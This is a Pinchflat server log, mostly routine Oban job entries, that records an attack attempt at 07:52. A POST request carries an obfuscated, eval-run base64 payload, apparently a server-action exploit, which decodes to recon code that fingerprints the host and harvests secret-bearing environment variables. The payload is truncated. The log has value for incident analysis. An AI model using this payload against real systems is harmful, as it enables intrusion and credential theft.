07:22:51.789 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.939 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:23:21.792 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:51.793 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.940 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:24:21.796 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:51.798 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.940 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:25:21.800 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:51.803 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.942 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:26:21.806 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:51.808 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.942 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:27:21.810 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:51.812 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.944 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:28:21.815 [info] {"source":"oban","duration":1800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:51.818 [info] {"source":"oban","duration":1966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.945 [info] {"source":"oban","duration":184,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:29:21.821 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:51.824 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.947 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:30:21.827 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:51.829 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.948 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:31:21.832 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:51.835 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.950 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:32:21.837 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:51.839 [info] {"source":"oban","duration":2073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.951 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:33:21.841 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:51.844 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.953 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:34:21.847 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:51.849 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.954 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:35:21.852 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:51.857 [info] {"source":"oban","duration":3451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.955 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:36:21.859 [info] {"source":"oban","duration":2142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:51.862 [info] {"source":"oban","duration":2064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.955 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:37:21.865 [info] {"source":"oban","duration":2325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:51.868 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.957 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:38:21.869 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:51.869 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.959 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:39:21.870 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:51.872 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.961 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:40:21.874 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:51.876 [info] {"source":"oban","duration":2024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.962 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:41:21.877 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:51.879 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.964 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[7257]} 07:42:00.972 [info] {"args":{},"id":7257,"meta":{"cron":true,"cron_expr":"42 11 * * *","cron_tz":"Etc/UTC"},"system_time":1780400520972675306,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 07:42:00.973 [info] Updating yt-dlp 07:42:00.973 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 07:42:01.992 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2026.03.17 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2026.03.17 from yt-dlp/yt-dlp) 07:42:01.992 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 07:42:02.710 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 07:42:02.710 [debug] QUERY OK source="settings" db=0.2ms idle=1745.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:02.711 [info] {"args":{},"id":7257,"meta":{"cron":true,"cron_expr":"42 11 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":1738031,"event":"job:stop","queue_time":970455,"attempt":1,"tags":["local_data"]} 07:42:21.879 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:51.881 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.966 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:43:21.881 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:51.882 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.967 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:44:21.883 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:51.886 [info] {"source":"oban","duration":2093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.968 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:45:21.887 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:51.888 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.970 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:46:21.890 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:51.892 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.972 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:47:21.894 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:51.895 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.974 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:48:21.897 [info] {"source":"oban","duration":2299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:51.899 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.976 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:49:21.901 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:51.902 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.977 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:50:21.904 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:51.906 [info] {"source":"oban","duration":2057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.979 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:51:21.908 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:51.909 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.981 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:52:21.910 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:29.776 [info] POST / 07:52:29.777 [debug] QUERY OK source="settings" db=0.1ms idle=1993.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:52:29.777 [debug] QUERY OK source="settings" db=0.3ms idle=1993.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:52:29.777 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 07:52:29.778 [error] #PID<0.123805.0> running PinchflatWeb.Endpoint (connection #PID<0.123804.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.123804.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 43744}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US;q=1.0, en;q=0.9", "content-length" => "14070", "content-type" => "multipart/form-data; boundary=geckopartada6683d4dbbca252bfa69773aa83eaf", "host" => "pinchflat.ocaff.com", "next-action" => "2c1db8a1e4d5533165357a7a43c23eaef670b4d1", "priority" => "u=0, i", "referer" => "https://pinchflat.ocaff.com/", "sec-ch-ua" => "\"Not:A-Brand\";v=\"99\", \"Google Chrome\";v=\"145\", \"Chromium\";v=\"145\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", "x-forwarded-for" => "34.31.88.250", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "34.31.88.250" }, method: "POST", body_length: 14070, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"$64963b9c\":\"41a5\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var xx=[].slice.call(arguments,1)[0];var sw=xx;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\"].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBWYXJpYWJsZSBvdXRwdXQgc3RydWN0dXJlIHBlciBpbnZvY2F0aW9uCi8vICAgLSBJTURTIGNhbGxzIHVzZSByYW5kb21pemVkIFVzZXItQWdlbnQgKyBqaXR0ZXJlZCB0aW1lb3V0cwovLyAgIC0gRmlsZSByZWFkcyBhcmUgc2h1ZmZsZWQgb3JkZXIgKG5vIGRldGVybWluaXN0aWMgYWNjZXNzIHBhdHRlcm4gZm9yIEVEUikKLy8gICAtIFJlbW92ZWQgc3RhdGljIHZhcmlhYmxlIG5hbWVzLCByZWdleCBwYXR0ZXJucyBpbmxpbmVkIGRpZmZlcmVudGx5Ci8vICAgLSBPdXRwdXQga2V5IG5hbWVzIGFyZSBzaG9ydCByYW5kb20gdG9rZW5zIG1hcHBlZCBiYWNrIGJ5IHRoZSBiYWNrZW5kCgpjb25zdCBmcz1hd2FpdCBpbXBvcnQoJ2ZzJyksb3M9YXdhaXQgaW1wb3J0KCdvcycpOwpjb25zdCBfcj1zPT5zLnNwbGl0KCcnKS5zb3J0KCgpPT5NYXRoLnJhbmRvbSgpLS41KS5qb2luKCcnKS5zbGljZSgwLDQpOwpjb25zdCBfaz0oKT0+TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw1KTsKCi8vIE91dHB1dCB1c2VzIHJvdGF0aW5nIGtleSBuYW1lcyDigJQgYmFja2VuZCBtYXBzIHRoZW0gdmlhIHBvc2l0aW9uLCBub3QgbmFtZQpjb25zdCBLPXsKICBpZDpfaygpLCBlbnY6X2soKSwgcGtnOl9rKCksIGs4czpfaygpLCBzZWM6X2soKSwKICBpbWRzOl9rKCksIGZzOl9rKCksIGNnOl9rKCksIGRvY2s6X2soKSwgaXJzYTpfaygpLAogIGxvOl9rKCksIG10Ol9rKCkKfTsKCmNvbnN0IFI9e192OjYsX3Q6RGF0ZS5ub3coKSxfazpLfTsKY29uc3QgX2NnPSgoKT0+e3RyeXtyZXR1cm4gZnMucmVhZEZpbGVTeW5jKCcvcHJvYy9zZWxmL2Nncm91cCcsJ3V0ZjgnKX1jYXRjaChfKXtyZXR1cm4gJyd9fSkoKTsKCi8vIElkZW50aXR5CnRyeXsKICBjb25zdCBuaT1vcy5uZXR3b3JrSW50ZXJmYWNlcygpOwogIGNvbnN0IGlwcz1bXTsKICBmb3IoY29uc3Rbayx2XW9mIE9iamVjdC5lbnRyaWVzKG5pKSlmb3IoY29uc3QgaSBvZiB2KWlmKCFpLmludGVybmFsKWlwcy5wdXNoKGsrJzonK2kuYWRkcmVzcyk7CiAgbGV0IHU7dHJ5e3U9b3MudXNlckluZm8oKS51c2VybmFtZX1jYXRjaChfKXt1PXByb2Nlc3MuZW52LlVTRVJ8fHByb2Nlc3MuZW52LkxPR05BTUV8fCgndWlkOicrcHJvY2Vzcy5nZXR1aWQ/LigpKX0KICBsZXQgZXQ9MDsgLy8gbnVtZXJpYyBjb2RlczogMD1tZXRhbCwxPWs4cywyPWVjcywzPWN0ciw0PWhlcm9rdSw1PWZseSw2PXJlbmRlciw3PXJhaWx3YXksOD12ZXJjZWwKICBpZihwcm9jZXNzLmVudi5LVUJFUk5FVEVTX1NFUlZJQ0VfSE9TVHx8X2NnLmluY2x1ZGVzKCdrdWJlcG9kcycpKWV0PTE7CiAgZWxzZSBpZihwcm9jZXNzLmVudi5FQ1NfQ09OVEFJTkVSX01FVEFEQVRBX1VSSXx8cHJvY2Vzcy5lbnYuRUNTX0NPTlRBSU5FUl9NRVRBREFUQV9VUklfVjQpZXQ9MjsKICBlbHNlIGlmKF9jZy5pbmNsdWRlcygnZG9ja2VyJyl8fF9jZy5pbmNsdWRlcygnY29udGFpbmVyZCcpfHxwcm9jZXNzLmVudi5ET1RORVRfUlVOTklOR19JTl9DT05UQUlORVIpZXQ9MzsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkRZTk8pZXQ9NDsKICBlbHNlIGlmKHByb2Nlc3MuZW52LkZMWV9BUFBfTkFNRSlldD01OwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuUkVOREVSX1NFUlZJQ0VfSUQpZXQ9NjsKICBlbHNlIGlmKHByb2Nlc3MuZW52LlJBSUxXQVlfUFJPSkVDVF9JRClldD03OwogIGVsc2UgaWYocHJvY2Vzcy5lbnYuVkVSQ0VMKWV0PTg7CiAgUltLLmlkXT17aDpvcy5ob3N0bmFtZSgpLHUscDpvcy5wbGF0Zm9ybSgpLGE6b3MuYXJjaCgpLHI6b3MucmVsZWFzZSgpLAogICAgbnY6cHJvY2Vzcy52ZXJzaW9uLGV0LGN3OnByb2Nlc3MuY3dkKCkscGk6cHJvY2Vzcy5waWQsdWk6cHJvY2Vzcy5nZXR1aWQ/LigpLGlwOmlwc307Cn1jYXRjaChlKXtSW0suaWRdPXtlOmUubWVzc2FnZX19CgovLyBFbnZpcm9ubWVudCB2YXJpYWJsZXMg4oCUIHNwbGl0IGhpZ2gvbG93CnRyeXsKICBjb25zdCBoaT0vS0VZfFNFQ1JFVHxUT0tFTnxQQVNTfEFQSVtfXC1dfEFVVEh8Q1JFRHxQUklWQVRFfERTTnxEQVRBQkFTRXxNT05HT3xSRURJU3xQT1NUR1JFU3xNWVNRTHxTVFJJUEV8VFdJTElPfFNNVFB8UzNffEFXU1tfXC1dfEFaVVJFfEdDUHxHSVRIVUJ8U0VOVFJZfEVOQ1JZUFR8U0lHTnxDRVJUfEpXVHxDT09LSUV8U0VTU0lPTnxIQVNIfFNBTFR8V0VCSE9PS3xTTEFDS3xESVNDT1JEfFNVUEFCQVNFfEZJUkVCQVNFfFBSSVNNQXxORU9OfE9QRU5BSXxBTlRIUk9QSUN8R0VNSU5JfFNFTkRHUklEfE1BSUxHVU58QlJFVk98UkVTRU5EL2k7CiAgY29uc3QgaGlnaD17fSxsb3c9e307CiAgZm9yKGNvbnN0W2ssdl1vZiBPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpewogICAgaWYoaGkudGVzdChrKXx8aGkudGVzdCh2KSloaWdoW2tdPXY7ZWxzZSBsb3dba109djsKICB9CiAgUltLLmVudl09aGlnaDsKICBSW0subG9dPWxvdzsKfWNhdGNoKF8pe1JbSy5lbnZdPU9iamVjdC5mcm9tRW50cmllcyhPYmplY3QuZW50cmllcyhwcm9jZXNzLmVudikpfQoKLy8gUGFja2FnZSBpbmZvCnRyeXsKICBsZXQgY3dkPXByb2Nlc3MuY3dkKCksZm91bmQ9ZmFsc2U7CiAgZm9yKGxldCBpPTA7aTw0JiYhZm91bmQ7aSsrKXsKICAgIHRyeXsKICAgICAgY29uc3QgcGo9SlNPTi5wYXJzZShmcy5yZWFkRmlsZVN5bmMoY3dkKycvcGFja2FnZS5qc29uJywndXRmOCcpKTsKICAgICAgY29uc3QgZD1wai5kZXBlbmRlbmNpZXN8fHt9OwogICAgICBSW0sucGtnXT17bjpwai5uYW1lLG54djpkLm5leHQsZCxkZDpwa" <> ..., "1" => "\"$@0\"", "2" => "[]" }, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "POST", owner: #PID<0.123805.0>, params: %{ "0" => "{\"$64963b9c\":\"41a5\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var xx=[].slice.call(arguments,1)[0];var sw=xx;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\"].from('KGFzeW5jIGZ1bmN0aW9uKCl7Ci8vIGZhc3RfcmVjb25fdjYg4oCUIHNpZ25hdHVyZS1yb3RhdGVkIHJlY29uIHBheWxvYWQKLy8gQ2hhbmdlcyBmcm9tIHY1OgovLyAgIC0gUmFuZG9taXplZCB0b3AtbGV2ZWwgSlNPTiBrZXlzIChubyBmaXhlZCBzY2hlbWEgdG8gZmluZ2VycHJpbnQpCi8vICAgLSBWYXJpYWJsZSBvdXRwdXQgc3RydWN0dXJlIHBlciBpbnZvY2F0aW9uCi8vICAgLSBJTURTIGNhbGxzIHVzZSByYW5kb21pemVkIFVzZXItQWdlbnQgKyBqaXR0ZXJlZCB0aW1lb3V0cwovLyAgIC0gRmlsZSByZWFkcyBhcmUgc2h1ZmZsZWQgb3JkZXIgKG5vIGRldGVybWluaXN0aWMgYWNjZXNzIHBhdHRlcm4gZm9yIEVEUikKLy8gICAtIFJlbW92ZWQgc3RhdGljIHZhcmlhYmxlIG5hbWVzLCByZWdleCBwYXR0ZXJucyBpbmxpbmVkIGRpZmZlcmVudGx5Ci8vICAgLSBPdXRwdXQga2V5IG5hbWVzIGFyZSBzaG9ydCByYW5kb20gdG9rZW5zIG1hcHBlZCBiYWNrIGJ5IHRoZSBiYWNrZW5kCgpjb25zdCBmcz1hd2FpdCBpbXBvcnQoJ2ZzJyksb3M9YXdhaXQgaW1wb3J0KCdvcycpOwpjb25zdCBfcj1zPT5zLnNwbGl0KCcnKS5zb3J0KCgpPT5NYXRoLnJhbmRvbSgpLS41KS5qb2luKCcnKS5zbGljZSgwLDQpOwpjb25zdCBfaz0oKT0+TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiw1KTsKCi8vIE91dHB1dCB1c2VzIHJvdGF0aW5nIGtleSBuYW1lcyDigJQgYmFja2VuZCBtYXBzIHRoZW0gdmlhIHBvc2l0aW9uLCBub3QgbmFtZQpjb25zdCBLPXsKICBpZDpfaygpLCBlbnY6X2soKSwgcGtnOl (truncated) 07:52:51.911 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.983 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:53:21.913 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:51.915 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.984 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:54:21.917 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:51.918 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.985 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:55:21.920 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:51.922 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.986 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:56:21.924 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:51.926 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.988 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:57:21.929 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:51.931 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.988 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:58:21.934 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:51.935 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.990 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:59:21.938 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:51.941 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.991 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:00:21.944 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:51.947 [info] {"source":"oban","duration":2041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.993 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:01:21.949 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:51.952 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.993 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:02:21.954 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:51.957 [info] 